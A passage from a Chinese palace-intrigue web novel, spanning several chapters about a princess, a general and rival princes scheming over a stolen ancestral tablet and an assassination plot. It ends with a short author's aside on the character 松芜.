“当初假模假样弄什么禁赌令，私吞赌场自己捞钱，原想着这丫头也不怕贪多嚼不烂，到头来是给自己挣
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嫁妆呢。
“她若是早开口，我这个做王叔的，难道会吝啬财帛？”
听三王阴阳怪气了半天，曲昶才开口。
“您的意思是，此事有可能是董向阜将军所为，为了长公主殿下要给王爷您和齐家下马威？”
“除了他，没人有这个本事。”
“下官以为还需思虑，在您眼里，董将军会利用齐铭将军的牌位行此之事吗？”
不怪曲昶多问，董向阜此人在京风评极佳，虽有“冷面将军”的称号威慑人心，但也没听过董将军仗势欺人、恃强凌弱。董老将军常年卧榻，董向阜回京，多半时间都尽孝床前。
唯一的至交好友，苏靳山尚书大人家的长子苏怀安，此人乃是京中盛名的君子，都说近朱者赤，近墨者黑。
曲昶心中存疑，这样的人，真能做出如此悖逆无德之事吗？
“曲昶，你还是太年轻了，这人前一套人后一套的伪君子见得少，当面称恭敬，背后骂祖宗，知人知面不知心。
“有些人，平日装得公正无私——”
三王故意拉着腔调，瞥见曲昶面色铁青，满意地笑了。
“所以说啊，曲昶你和那些人不同，本王才看好你，明白吗？”
“下官，谨记王爷教诲。”
“这就对了，曲昶，多派些人盯着董家，必要时，跟齐家透个风，说这事可能是董向阜做的，千万别提及王府，就说有人看见那小贼去过董家。”
曲昶皱眉道，“王爷，还无确凿证据指认是董将军所为，如此行事于理不合吧。”
“要哪门子确凿证据？！”三王一副恨铁不成钢的样子，急言道，“本王要他们赶紧走，别围着王府苍蝇似的打转了！”
齐家是苍蝇，三王府是什么……
曲昶没有多言，行了礼后便离开了。
齐家的人不见消停，小厮还带着曲昶走来时的小门，如此偷偷摸摸，皆因大门一开，齐家人必将蜂拥而入。
堵在正门口的齐家人不住口地喊冤叫嚷，这似曾相识的一幕，令曲昶不由攥紧衣袖。
多年前，他也是在这样的声讨中，目送父亲被送上刑场。
95.兴师问罪
昨夜泡过温泉，兰萤夜里睡得沉，明珠轻手轻脚地起身，伸着懒腰站在门口。
清晨积雪未化，院子里的砖石小路被清扫开，竹临和梅辛两人正练晨功。
“殿下，早啊。”“殿下。”
两人收势，他们穿的薄，这会儿发着汗，身上笼着一层白烟。
“不练了吗，那快去穿上衣服，别着凉了。”
明珠拿出两条手帕，递给他们擦汗，“换好就直接去正厅吧，准备吃早饭。”
“是。”两人齐声答道。
那两人回房，明珠正欲动身，不远处，刘管事匆匆赶来。
“刘叔，您来的正好，咱们开火吧。”
“贵人且稍等，将军来了，正在正厅候着您呢。”
刘秉心中叹息，好不容易自家少爷开窍，怎么还让董将军捷足先登了呢？
“将军？”明珠纳闷道，“董向阜来了？”
“是啊，可不就是董将军，要不您先去见见，早饭小人这就跟厨房说一声。”
“好。”
董向阜知道这里不稀奇，裴元必定是要禀告的，但他这一大早上来，难不成是大年初一来拜年？
这么殷勤，怪瘆人的。
明珠赶到正厅，见董向阜一身常服，端坐着，茶水也没动。
见她进门，董向阜皱着眉头起身，连行礼都顾不上。
“您早就知道了吗？”
明珠脚步一顿。
完蛋，这是来兴师问罪了。
“将军这是何意啊……”明珠装傻道。
董向阜也不拐弯抹角，“当时二皇子殿下回京，只说是齐家出了事，臣今日收到京中传信，竟是齐铭将军的牌位被盗，殿下可知道此事？”
明珠眼神躲闪，挠了挠鼻尖，支支吾吾。
“我，算是知道吧……”
董向阜目光犀利，质问道，“既然如此，那便是有意瞒着臣？”
“没有啊，”明珠急否认，却也不禁心虚，“你不是没问我嘛，这事儿总归是人家家事，我也不能逢人就说，是吧……”
“殿下。”
董向阜上前一步，犹如一堵高墙。
“臣与殿下结交，虽不配以知己相称，总还是了解些，殿下不在臣面前提及此事，恐怕是已然知晓何人所为，且不便让臣知道。”
明珠心里一咯噔。
“齐铭将军牌位被损毁，齐侯遭人暗算，伤残难愈，闹出这么大的动静，殿下就由着他吗？！”
齐二被暗算，伤残难愈？
果然，这事儿八成就是松芜干的。
只是，此时董向阜话中颇有些责难的意味，明珠小心看着他的脸色，斟酌着开口。
“齐二的事，是我们家的私人恩怨，至于齐铭将军的牌位……
“这事是他做得太出格，我回去就责罚他，给你个交代！
“但就是，你能不能就先装不知情，你放心，我肯定好好教训他，只要你别……”
“别告发他？”董向阜冷笑一声。
董向阜对于齐铭的敬重和仰慕之心，明珠不可谓不知，她料想过董向阜会生气，甚至因此视松芜为敌。
可暴风雨来的太快，叫人措手不及。
除了安抚，明珠也无计可施，这件事没得谈。
“我知道你生气，松芜他不是故意那样做的，三王刺杀未遂，他都是为了我，为了牵制住三王，慌不择路才行此下策。
“凡事皆因我而起，你若是问责，就由我一人担待，不要太迁怒于他。
“董向阜，算我求你——”
“殿下！”
董向阜怒气更盛，吓得明珠一激灵。
“他那样的人，值得你偏袒至此吗？！”
“其实，他本性不坏……”
董向阜强合上眼，长吁一口气，睁开双目看向她，神色郑重。
“殿下若是被他蒙蔽至此，臣无话可说，今后无论如何行事，就由不得臣了。”
见人拂袖而去，明珠忙去追他，谁承想刚下台阶，一个不留神——
嗵！
正踩在台阶上的冰痕，明珠一屁股摔在石台阶上，脑袋不偏不倚撞向门框，她倒吸一口凉气，一时间，连疼都喊不出来。
“殿下!”“殿下！”
几个声音同时响起，明珠眉毛快拧在一起，强撑着睁开眼睛。
“您没事吧？！”
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董向阜听到动静，折返回来，想要伸手搀扶起她，却被人挤开。
兰萤小心摸着明珠的后脑勺，伤口处被触及。
“嘶！”
“殿下，是撞到这里了吗？”兰萤紧张道。
鼻腔里泛起阵阵酸楚，明珠摇着头，示意自己没事。
“董向阜，”明珠伸手拉住他的手臂，恳求道，“你别怪他，行吗？”
董向阜郁气难消，都这般窘态，还不忘给那个卑劣之徒求情，却见对方眼眶盈着泪，他有些不忍地移开视线，心中五味杂陈。
他泄了些气，回道，“臣，遵命。”
被搀扶着起身，明珠在堂中稍缓片刻，麻木转为痛楚，如坐针毡。
“尾椎疼……”
明珠哭丧着脸，兰萤忙把软榻铺好，让她趴在上面。
“殿下，叫医官来瞧瞧吧。”梅辛急忙说道。
“没事，就是跌了一跤，不碍事的，一会儿就好了。”
可惜，她这个伤号的话被驳回。
“去——”
“去叫医官。”董向阜的话被兰萤抢先，她对梅辛说道，“叫个能给殿下看外伤的。”
“好，我这就去！”
梅辛应声，忙不迭跑出门。
“将军，”兰萤看向董向阜，面不改色道，“想来军中事忙，我们殿下不便久留，请恕奴婢招待不周，将军慢走。”
董向阜没想到，自己被个小丫头下了逐客令，他瞥了眼明珠，对方毫无顾忌地趴在榻上，他垂下眼眸，此时确有不便。
“你们好生照料长公主殿下。”说完，董向阜朝明珠拱手道，“臣告退。”
“啊，将军慢走。”
明珠殷勤挥手，尽管董向阜看都不愿再看她一眼，待人走远，脑袋才耷拉回手臂上。
“殿下方才求情，是为了松哥吗？”兰萤帮她揉着后腰和尾椎处。
“嗯……”
为了松芜，求情不算什么，可刚才——
她居然在董向阜面前摔了个屁股墩儿？！
然后还哭着跟人求情？！
回忆起“现眼”场面的明珠，仿佛被一道雷劈中，连同她的体面，万念俱灰。
96.回家的诱惑
画面挥之不去，拧成一团乱麻。
明珠晃了晃脑袋，企图把烦躁甩出来。
兰萤抬眸看过来，以为她没躺好，伸手上前将她的脑袋扶正。
“松哥若是捅了篓子，自己担待，他若知道殿下如此为他，只怕死的心都有了。”
明珠闻言，缩了缩脖子。
当年在听筠轩给松芜出头，怒斥齐二，她原以为可以让松芜扬眉吐气一次，谁知道回到宫里，他就自罚跪了一整夜。
“可董向阜已经猜到是他，松芜都是为了我才那么做的，怎么能不管呢……
“董向阜这个人我还算了解，如果是我开口求他，他兴许就睁一只眼闭一只眼，不会明面上为难松芜。
“幸好，除了董向阜，应该也不会再有其他人知情。”
齐二那里，明珠并不担心。
他此刻恐怕自顾不暇，松芜出手，他即便不死，也要被扒一层皮。
更何况松芜消失一年有余，齐二做的孽也不止一桩，恐怕早就把松芜抛到九霄云外了。
与三王纠纷未了，此事齐家唯有找三王要交代。
此事表面上嫁祸之意虽浅显，但真要抓住幕后真凶，倒也不是一件容易的事，李凌霄回去也不能待太久，三五天安抚好齐家便要立刻返回北境，不足为惧。
门口，竹临端着托盘进来，上面盛着冒着热气的早饭。
“殿下，先吃些东西吧。”
热腾腾的米粥摆在面前，明珠趴在榻上，犹如一条咸鱼。
“没胃口……”
“殿下，张嘴。”
兰萤接过碗和勺子，把粥放在嘴边吹凉递过来，温热的米粥送入明珠口中，却味如嚼蜡。
“兰萤，你还是替我去送送董向阜吧，我怕给他再气出毛病。”
明珠指了指桌上的牛乳米糕，忍痛割爱，“你把那些打包送去，他这一大早来，肯定连饭都没吃。”
别院门口，董向阜的亲兵和霍丘在外列队候着。
霍丘见董向阜出来，目光不由追随着自家将军。
今日将军不知怎么，大清早一句话不说就往此处赶，这地方还挺眼熟，方才来开门的老伯，似乎是裴元家的管事，以前来大营送过东西。
“将军，这是裴元家的别院吧，”霍丘疑惑道，“您来找他？大过年的，他没回家吗？”
董向阜冷着脸，“不找他。”
不找他，来人家的别院干啥？
霍丘正纳闷，里面又传来声音。
“将军留步。”兰萤提着食盒出来，“董将军匆匆前来，想必尚未用饭，这是我家殿下一番心意，还望将军能体谅殿下，奴婢想，殿下会给将军一个交代。”
一旁的霍丘差点惊掉下巴，他紧盯着眼前的小丫鬟，这不是长公主殿下贴身的那个小侍女吗？！
她在这里，不就意味着——
“将、将军，这……”霍丘话都说不利索，还不忘压低声音问道，“长公主殿下，在这儿？！”
长公主殿下除夕就不见行踪，霍丘还疑惑，他问起将军时，将军也只说心中有数，可现如今——
希望将军体谅？给将军一个交代？？
董向阜没理会霍丘，挣扎了片刻，还是上前接过食盒。
“替我谢过殿下。”
说罢，董向阜头也不回地走了。
霍丘忙示意亲兵们跟上，心中百感交集。
将军叱咤北境数载，没想到此番情场失意如此令人唏嘘，竟是被裴元那个小子！唉呀！！
正在家吃早饭的裴元，冷不丁打了个喷嚏。
裴父裴母忙关切道，“都让你早起练功时多穿件衣服，你这孩子偏不听，快叫郎中来瞧瞧！”
别院正厅，明珠饭吃到一半，梅辛带着两个医官回来，都是此次随行的医官，其中一个有些眼熟，在望都时打过照面。
“微臣吏目谭思居，参见长公主殿下。”
“微臣医士薛晗，参见长公主殿下。”
“两位不必多礼，”明珠勉强坐起身，臀部隐约传来顿感的痛，“都是身边人太紧张了，还要劳烦两位医官跑一趟。”
“殿下方才不慎跌倒，不知头部是否撞伤，麻烦两位医官给看看。”兰萤说道。
“是，”谭思居上前，“殿下，恕微臣失礼。”
一
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只宽大的手抚上自己的脑袋，明珠绷直身体，指尖刮过伤口，她没忍住喊了声疼，那只手一顿，迅速找准位置，用指尖估摸着伤口。
“只是有些外伤肿胀，微臣给殿下开一剂药，可消肿止痛，敷在外伤上，两周后方可痊愈。”
谭思居收回手，掏出药箱里的一罐药膏，递给兰萤。
“殿下若还有其他外伤，可让薛医士仔细查看，微臣先在外候着，殿下若有其他吩咐，随时召微臣便可。”
“有劳谭大人了，您请。”梅辛带着竹临和谭思居出去候着。
房门合上，屋里留下明珠，兰萤，还有那位女医官。
“殿下，请您先褪下衣物。”
明珠忍着羞耻，把下身的衣物脱下，大腿处被台阶的棱角撞得青紫，所幸除此之外，没有其他外伤。
女医官又揉了揉她的胳膊和腿，确认无伤后才起身。
“殿下腿上的撞伤，也可用谭大人的药膏去淤消痕，容微臣为殿下涂抹伤口吧。”
“好。”
“不劳烦薛医士了。”兰萤打断道，“殿下不喜生人触碰，还是交给我吧。”
“是。”薛涵点头，退让一步，“只是冬日衣厚，殿下穿暖，涂抹药膏易于融解，微臣为殿下准备些凝胶药贴可好？”
“凝胶药贴，那是什么？”
“乃是树脂所制的无色贴纸，将药膏敷于伤口处后，在表层贴上此物便可避免伤口沾污，比纱布更服贴，不易渗透。”
难道这就是——创可贴？
“只是树脂透气性弱，还需勤加替换，一个时辰换一次便可。”
薛涵从药箱中掏出几片透明薄片，交给兰萤。
“此物耗损大，微臣此次所带制成品所剩不多，请殿下容微臣回去再配些，两日后送至别院。”
“行，麻烦你费心了。”
“长公主殿下客气，都是微臣应尽之责。”
明珠取出两个红包，叫兰萤送去，谢两位医官大过年跑这一趟，又让梅辛将他们送回军营。
外面又响起时近时远的爆竹声，明珠懊恼捶床。
“今天原本该去逛庙会啊——”
97.全村的希望
京城上空浓云密布，雪似尘埃，落在地面，薄薄的一层，脚印踩过，辗进污泥，留下灰黑的足迹。
御书房内，皇帝看着跪在面前的李凌霄，摆手让他起来。
毕竟这孩子家中出了不小的事，现如今指责他擅离职守，过于不近人情。
“请父皇放心，如今战事已平，长姐尚且留在军营，有董将军坐镇北境，想必不会有失，儿臣安顿好外祖灵位，便即刻返回北境。”
“嗯，把事情处理好，公主说北境一切安好，你不用急着回去，回去替朕慰问下齐侯，听说他受了不小的伤，你告诉他，这件事朕会派人彻查。”
“谢父皇、长姐体恤，儿臣必将妥善处理，请父皇放心，儿臣告退。”
廊上，李凌霄快步走着。
“找三王叔，亥时老地方见。”
此事刻不容缓，不仅要查清原委，更重要的是找出幕后主使，不过最迫切查出真凶的，恐怕是三王叔本人。
“是，殿下，咱们现在去侯府吗？”
“先去给母妃请安吧。”
刚迈进惠妃宫内，就见惠妃气势汹汹过来。
“母——”
啪！
李凌霄呆滞地看向地面，脸颊泛起火辣的疼。
“齐家出了这么大的事，还这么不紧不慢，你有没有点良心！”
惠妃双眼怒瞪，黄金的甲套杵在李凌霄脸前，恍如利刃。
“既然粮草已经抵运，为何迟迟不归，你外祖灵位有失，你舅舅如今危在旦夕！你倒好，去讨好李凌月都忘了本，我们齐家怎么会有你这样的白眼狼？！”
“母妃息怒，”李凌霄垂着眸，“儿臣知错。”
身后的随从有心辩解，在一旁劝道，“娘娘息怒，咱们殿下收到信后，便即刻动身回京，不敢有丝毫怠慢。”
“那是他外祖家，他本该如此！你是什么东西，也敢替他顶撞母妃，掌嘴！”
随从咬紧下唇，扑通一声跪在地上。
巴掌声落下，惠妃撒了气，目光移向自己儿子，才发现他脸上逐渐浮现的巴掌印。
她自知理亏，却又觉得自己肚子里出来的孩子，就该和自己一条心，语气放缓了些，让人取来早已备好的山参补药。
“我在宫里，不知你舅舅究竟伤势如何，他们有意瞒着我，想来情势不妙，你速去侯府，把这些拿给你舅母，叫她好生调理你舅舅的身体。”
“是。”李凌霄接过药材匣子，“儿臣告退。”
出了宫门，李凌霄抚上左脸的伤口，有些肿胀发麻，金属甲片钩划下巴，在下颚留下一道细长的血痕，肉眼注意不到，触碰时才察觉出刺痛。
随从脸也肿着，注意到殿下手上的血渍，心下一惊。
“您流血了？！”随从忙递上锦帕，替自家殿下委屈道，“娘娘何至于此，本来就不干殿下的事，齐侯自己惹的祸事，拿您出气算怎么回事……”
李凌霄用手帕擦拭着伤口，神色漠然。
“去找些妆粉来，别叫人看出来。”
侯府内，可谓是一团乱麻。
齐侯吊了月余山参，才救回一口气，却不想一朝醒来，自己竟是这般田地，醒了晕，晕了醒，惨然瘫在床上，像个活死人。
其他舅舅和表兄表弟堵在大理寺和三王府门外，昼夜不停，喊着讨要个公道。后院女眷们没了主心骨，一个个唉声叹气，愁云惨淡。
刚下马车，李凌霄身旁便被围得水泄不通，四周众人眼巴巴盼着，仿佛神仙下凡似的。
“二皇子殿下回来了！”
“殿下您可算回来了——！”
“有二殿下在，咱们就放心了！”
李凌霄安抚着哭成泪人的舅母，“舅母，先让我去看看舅舅的伤势吧。”
“对对，没错，快去看看吧，你舅舅他……呜，殿下，咱们齐家今后可就指望您了！”
推开房门，一股浓郁的药味袭来，夹杂着腐朽之气。
走到内室，药味更甚，闻着呛鼻，李凌霄眉头微皱，床榻隔着纱帘，里面的人影消瘦了许多。
“奉母妃之命，外甥特来拜见。”
“是殿下回来了吗……是霄儿回来了吗？”
床榻上的
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声音苍老，不复半分往日狂妄。
“是，舅舅。”
“快过——，不、不，还是别看了……也别告诉惠妃娘娘！”
李凌霄止住脚步，“我知道了，宗祠的事舅舅放心，外祖父的灵位已经安置妥当。”
侯府原本还一心忙活着宗祠之事，后来侯爷突遭如此惊骇之事，众人慌了神，日子一拖再拖，连牌位也没来得及请进宗祠。
还是他返京前，派人问了一嘴，才当下着人将外祖灵牌归位。
“宗祠……是啊，你外祖当初何等荣耀，现如今——
“见我齐家失势，那些腌臜货便骑在我们头上撒尿！父亲，孩儿不孝，孩儿不孝啊，咳咳……”
“舅舅莫动气，当心伤身，父皇说了此事定会彻查，请舅舅安心。”
“安心？”
齐侯面目逐渐扭曲，当着李凌霄和下人的面，骤然放声大笑。
“哈哈哈哈哈，此事昭然若揭，难道皇上还会为了如今的齐家，治三王的罪吗……”
听他话中对皇帝颇有怨怼之意，李凌霄皱眉，言语间生疏起来。
“齐侯的意思是，此事乃三王所为。”
齐侯却仿佛失常，开始喃喃自语。
“三王、三王，李昇那厮一向惺惺作态，装的人模狗样，不过就是个睚眦必报的小人，从前是这样，现在也不会变。
“我至死都忘不了，大哥过世时，那人幸灾乐祸的嘴脸，我最悔，当初那石头没能砸中他，留他苟活至今！”
三王身为皇族，李凌霄听着齐侯这大不敬的话，本想出言劝阻，却见眼前之人浑浑噩噩的鬼模样，终究没有开口。
“毁我父灵位，被我发现后，又派人暗中截杀，这桩桩件件他休想撇干净，李昇……我齐家与他不共戴天！！！”
床上那人猛然爬向他，险些跌落下来，李凌霄心中震荡，即使隔着纱帘，他分明瞧见齐侯的下半身已然……
齐侯不顾身边人的阻拦，朝李凌霄拼命伸出手，撕扯着喉咙，宛如人间厉鬼。
“霄啊，你将来，一定要做皇帝！！！”
98.镜头回到阴谋前夕
亥时，风雪已停，四下静谧，门外的狗打起盹儿。
郊外的义庄里，老管事默不作声为两位沏上茶水，关上门便离开了。
“贤侄……”
虽留着齐家的血，李凌霄却成了三王唯一欣然面见的齐家人，纵然运粮途中，他使了不少手段，两人直至分崩离析，现如今也只能厚着脸皮来见。
李凌霄不急不慢地品了口茶，是上好的雪顶含翠。
“王叔，这一路上，我吃的苦头可不少。想来王叔待我亲厚，叫我有所长进。”
三王手拘着茶杯，颇有些坐立难安。
“贤侄何出此言，不过是些误会玩笑……”
“误会？”李凌霄轻笑，“王叔这话才真是玩笑。”
三王见他态度如此，心中憋闷，试图端起长辈的架子。
“若非你一定要拉拢李凌月，你我本不必闹到这般下场。”
“王叔惯会倒打一耙，”李凌霄轻蔑道，“栾城之事，难不成是王叔为我筹谋？”
栾城之事，乃三王为十三皇子进阶铺路，勾结党羽，此事李凌霄早有所知。
源于去年，那个追寻自己胞妹的年轻果农。
那人找来三王府，被三王和李凌霄撞见，口口声声说自己妹子被卖到王府，他们不以为然，只把人打死了事。
不过，李凌霄留了个心眼，发现有人替此人收尸。
而收尸的人，就是饶七。
从饶七口中，李凌霄得知——
死者姓陆，乃是栾城一果农，恰逢太守勾结三王，以水匪之名令这些小果农血本无归，小陆的妹妹被当地酒楼招工，却不想让太守私下送入三王府，小陆南下一路追寻。
饶七念其恩情为其收尸，李凌霄并没有为难他。
后来，他面见父皇主动担任运粮，原本就想借运粮之事，名正言顺带兵武装，结实抵达栾城，即便对方反抗，也可凭武力镇压。
不想，得知明珠执意跟随后，李凌霄有了新的打算——借刀杀人。
他这个长姐是个烂好心的菩萨心肠，他以饶七为引，长公主入局，让她一力清查此事，无论她能查到什么，他都能暗地里将罪名坐实。
明面上，他得以撇清关系。
只是没想到，三王发现事情败露，竟铁了心要和自己切割干净。
“王叔弃我而去，另谋出路，我本不欲强求，只是您破釜沉舟，对长姐痛下杀手。
“这笔账，我们要算算。”
三王嗤笑一声。
“想要问罪于本王，贤侄这般大义凛然，当真是姐弟情深，叫陛下见了，可得感动一番。
“只不过，何必在本王面前装相？
“你不是也想杀了她嘛。”
此话一出，四下静谧，窗外树影摇曳，从夜色中簌簌攀近，张牙舞爪地靠拢过来。
室内燃着炭盆，气氛却降到冰点。
“王叔，慎言。”
水银滴漏，倒流回溯。
秋狝前，戎狄所在的驿馆中，翟渠迎来了那位不速之客。
耳语间，董向祺的馊主意跃然成型。
“大王子觉得如何，只要您照我说的做，咱们里应外合，长公主还不是手到擒来，届时即便她不肯，催情香一熏，她就得乖乖就范。”
头皮一阵阵战栗，舌头卷过犬齿，翟渠只觉得嗓子渴得厉害，他已许久没有这般——想要置人于死地。
“这就是你的良策？”
翟渠面无表情，未见喜怒。
“大王子以为如何？”
看着眼前之人脸上的猥琐得意，翟渠朝他勾了勾手，示意他凑近，董向祺屁颠地上前，等着对方赞许。
目光锁在此人脖颈，翟渠并非嗜血成瘾，杀人只是手段，可经他之手的性命从不算少数。
此时此刻，熟悉的杀意升腾。
“若不是顾全大局，真想将你的狗嘴撬开，把你这口的烂牙，一颗、一颗，拔下来嵌进舌头。
“敢叫我知道，你有此筹备，老子就把你扒光了扔进牛群里，熏上三天三夜的香，到时候就看看，是你这张破嘴先烂掉，还是□□先烂掉。”
董向祺一惊，一个没坐稳，屁股开花，痛吻大地。
他哪里遇到过这等人物，即便是常年浸润在沙场的长兄，也没有这般显露过残暴凶相，像饿得发急的
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畜牲一样。
“大、大王子……”
“滚！”
“是、是！！”
董向祺连滚带爬地逃出，候在门外的小厮，见自家公子慌里慌张出来，脸上爬满惊惧之色。
“二少爷，您这是怎么了？！”小厮一头雾水，问道。
董向祺却像是被豺狼追赶似的，连头也不回，朝人喊道，“走！！”
在驿馆门口，董向祺脚下被门槛一绊，身子不稳，面朝下结结实实摔在地上。
“诶呦！”
“少爷——！”
小厮紧赶慢赶，上前搀扶。
董向祺揉着鼻子，手上染着鲜血，“流血了！！他妈的！晦气玩意儿！”
“少爷您慢着点啊。”
“滚开！”
董向祺甩开小厮搀扶的手，腿却又疼的厉害，站也站不稳。
“没长眼啊，过来扶我！”
被人扶着一瘸一拐，董向祺心中有火，越想越气。
“他算是个什么东西，跟本少爷耍狠？！”
却又怕里头听见似的，董向祺忙压低了声音，边走边骂。
“一个被大梁打的屁滚尿流的蛮子，也配跟我叫嚣！！”
董家的马车在外候着，马夫打着哈欠，被一身影猛地推开，还未来得及开口，却发现方才那急赤白脸的人，竟是自家少爷。
“看什么，回去！”
“是……”
驿馆外，几个人头攒动，听到那人骂声后，彼此对视一眼，各自散去。
入夜，国公府内，房门被推开。
床榻上，董向祺扫了一眼，瞥见是自己的贴身丫鬟。
“倒杯水。”
“少爷……”
“聋了？没听见跟你说——”
责骂戛然而止，跟着去贴身丫鬟进门的黑衣人们，各个身材魁梧，蒙着黑布，几双眼睛齐刷刷盯着他。
“你、你们是谁？！”
“董二公子别慌，我们来，是跟您谈一桩生意。”
董向祺按捺住惊恐，紧张道，“什么生意？”
“今日您没谈拢的，那笔生意。”
99.真是个黑锅侠
猎场的风卷起草毯，迅疾的箭尚未脱手。
三王备好的庆功酒，难以入喉。
“贤侄，当初你过河拆桥，如今撇得干净，倒叫王叔我心寒啊。
“若非你提议，将计就计除掉长公主，我会替戎狄人遮掩，让他们混进猎场营地？”
当初，董向祺的丫鬟向二皇子告密，李凌霄利用董向祺和鬼方的阴谋，趁机让丫鬟除掉明珠。
知道三王在禁军中有些人可用，李凌霄便提出让他利用军中人手，协助鬼方，等同于把三王拴在他的船上。
三王自知，他之所以应允，一来是报地下赌场被毁之仇，二来他也有私心。
对于三王而言，此乃拉拢其他皇子的最佳时机，以免将来东窗事发，他和李凌霄一起翻船，而且，即使被李凌霄发现，彼此握有把柄，李凌霄也不能奈他何。
但三王没想到，李凌霄居然中途变卦，没有让丫鬟杀掉明珠。
“你埋在董家的那个丫鬟，为何突然罢手，只拿些口供出来了事，这些你还没给本王一个交代。
“听几句漂亮话，便被迷得神魂颠倒，叫本王如何敢再轻信你啊，贤侄。”
如今，唯有他切实参与进谋害长公主的计划中，并且所谋落实，但李凌霄没有实质举动，反而可以抽身。
三王深知，倘若继续与李凌霄捆绑，他只有被拿捏的份儿。
更何况，三王始终咽不下这口气，才在松芜来访时，迫不及待出卖李凌霄，将那丫鬟的真实身份告知，却因自己搅和其中，不便和盘托出，只能说他们是为了陷害戎狄大王子。
他想着，即便不能让长公主和李凌霄之间产生裂痕，添添堵也好，毕竟那丫鬟当初若非被识破，可还有下药这一出好戏。
“王叔，我罢手，是因为她早有防备，王叔以为咱们大梁的这位长公主，还是从前那个庸碌之辈吗？”
“你的意思是，她知道你我所图？”
三王一惊，又转念一想，“那她如何肯放过你？”
“非也，王叔与侄儿不过是将计就计，你我真正所图，她不会知道。
“可您别忘了，董向祺早被董家罚回老家闭门思过，为何会在戎狄来使的当口回京，王叔不觉得太巧合了吗？”
“她是故意做饵，利用董向祺陷害戎狄？”三王不可置信道，“她疯了不成？！这么做，于她何益？还是——谁教她这么做的？”
此事若是长公主故意为之，虽被他们插手，但到底坐实了戎狄罪证。
结果嘛，自然是戎狄与梁国交战，戎狄退让，两国谈判……
三王不禁思忖起来，难不成，是董向阜让她这么做的？
对、对，她一贯对董向阜死缠烂打，更何况，若非董向阜出面，他家那个蠢才庶弟又怎么可能顺利回京。
董向阜为了在北境助长威势、收买人心，最有力的举措便是打了和戎狄的胜仗，他在北境盘踞多年，苦于没有机会，让长公主助他一臂之力，也不是没有可能。
三王越琢磨，越觉得有理。
“王叔，”李凌霄嗤笑一声，“收起您那老掉牙的心思吧，您若以为她还是过去那个唯唯诺诺，一心讨好董向阜的长公主，那您在她手里吃的亏，可没长记性。”
“什么？”三王不解道。
“她所图，连我也未能尽数窥探，而且，沽名钓誉那一套，侄儿我可抢不过她的风头。”
“照这么说，她当真变得与以往不同？”三王喃喃自语道，“难怪，陛下如今对她另眼相看……”
瞧着三王那蠢样子，李凌霄就不耐烦，他们这位王叔全仰仗父皇胞弟的身份，才得以风光，凭他自己，哪有这虚妄威势。
听齐侯提起过，三王叔从小就惯会狐假虎威，因其先天体弱，被先太后格外娇惯，若非当初被齐家大舅痛揍，指不定会和董向祺那厮似的，无法无天。
如今年岁上去了，成了京城中资历较深的贵胄人物，曾经那些能压制他的人，又尽数仙逝，便有恃无恐，颐指气使起来。
和齐家那些长辈，一丘之貉。
“王叔今夜前来，难不成是和侄儿探究长姐变化？”
“啊！
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”三王这才如梦初醒，斟酌着开口道，“想必你也见了，齐侯他……”
“是，舅舅他被王叔折磨得不轻。”
“？！”三王气闷，急道，“怎么连你也这么说，本王的为人你还不清楚？！”
李凌霄挑眉，玩味道，“自然是知道，不光我知道，侯府上下谁不知道王叔为人。”
“都这个时候了，还有闲心打趣长辈？！
“纵使你全无心肝，对王叔、对齐家冷眼旁观，可前有江洋大盗，后有神秘杀手，这背后之人若不查清，恐怕你也难安！”
“王叔这是求我？”见三王气急败坏，李凌霄仍漫不经心道，“王叔可不敢信我，毕竟侄儿我——‘听几句漂亮话，便被迷得神魂颠倒’，侄儿年少，难堪大任。”
“……”三王青筋涌现，咬牙切齿道，“用不着跟本王拿乔，本以为你相邀是为了冰释前嫌，却不想，你压根没这心思，便是故意瞧本王笑话！”
“王叔哪里的话，侄儿今夜相邀，说的都是掏心掏肺的话，却不想王叔不留情面，”李凌霄指了指自己的肩头，“这个箭伤，是侄儿念及王叔多年恩情，才未曾向父皇和齐家提及，王叔可要领我的情。”
“箭伤？！”三王惊愕，“本王可没动你！！”
李凌霄自顾自说着，神情故作落寞，“王叔要对白家赶尽杀绝，却不想连侄儿都未能逃脱，看来王叔才是真的要与我恩断义绝。”
“我——！”
不是说后来派去的那些人没有音讯吗？
怎么二皇子受了伤？！
动一个长公主不打紧，她从小就未得皇兄疼爱，久遭忽视。
可李凌霄不同，皇帝一直对二皇子极为器重，即使疼爱幼子，但到底令嫔娘家势微，远不及侯门显贵，惠妃执掌六宫，当年更是差点做了皇后。
若是直接对二皇子出手，要他的命，三王是万万不敢的。
李凌霄见三王瘪了气，心中对那个陷害三王之人，生出些惺惺相惜之感。
毕竟，当初对他动手的那些刺客，也并非三王的人。
100.关于松芜※
松芜是个想要什么东西，永远都不会表现出来的这样一个人。
在那样的环境里，倘若你想要什么东西，身边有些人即便无意于此，但当他看到你有所求，就会抢先夺取，然后看你愤怒又无能为力的样子。
总有些人，乐于此道。
生长于此，松芜无法做到真诚、直接地表露自己的心意，他想要什么，只能暗地里不择手段。
一开始他隐藏的最深，他把那份喜欢藏在心底，从不宣之于口。
长公主殿下愿意接纳他的过去，并没有因为他的身世、他的过去，而去否定或厌弃。
是蜜药，也是砒霜。
在囚禁事件发生之前，松芜问过殿下喜欢什么样的人，只要她开口，他就一定会让自己成为那样的人，他愿意用一辈子伪装。
可殿下告诉他，当你真心希望和这个人有所结果，就应该把自己最真实的一面展现给对方。
因为只有对方看到你、接触你的一面是真实的、是完整的，那么她未来喜欢上的那个人也会是真正的你。
——你用一个伪装的形象接近她，那么有一天也会因为这个幻想破灭而收回真心。
囚禁事件暴露了他真实的性格，他是个卑劣的人，想要什么东西就会不择手段。
他希望自己能做到殿下所说的真诚，可他早已习惯了不择手段，他用囚禁的方式，想证明给她看——
您看，我就是这样一个卑劣之人，用的手段都是最不见光的。
照您所说，要我把真实的一面展露出来，别人就能接受我吗？
不是的，别人没有办法接受我。
倘若将我最自私阴暗的一面展现出来，你也会和我一样，看不起我。
我是卑劣丑陋的小人，不值得您对我那么好。
连我喜欢您这件事，都会变成您的污点。
其实，也是有一种赌气的心态。
以前他想要什么东西就想方设法去得到，否则就毁掉，无论是得到，还是毁掉，心里都是痛快的。
唯独这件事情上，他做的时候也不痛快，紧张不安，又彷徨恐惧，走的时候满身狼籍。
而这件事情对于他而言，是这一辈子最后悔的事情。
这之后，他并没有被长公主殿下厌弃，相反，她对他愈发小心翼翼。
她是个心软的人，即便是拒绝了他，也会因亏欠感还有愧疚感，想方设法补偿他。
越在这个时期示弱，就越会得到她的眷顾和妥协，这也是松芜的惯用伎俩。
